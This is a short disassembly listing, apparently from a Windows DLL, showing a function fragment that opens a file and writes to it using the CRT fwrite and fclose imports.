mov dword [rax + 0x5c2c], ecx
test rbx, rbx
je 0x1800472df
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x38], rdi
call fcn.1800472f0
lea rdx, [0x180181864]
mov rcx, rbx
mov rdi, rax
call fcn.180033a10
mov rbx, rax
test rax, rax
je 0x1800472da
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret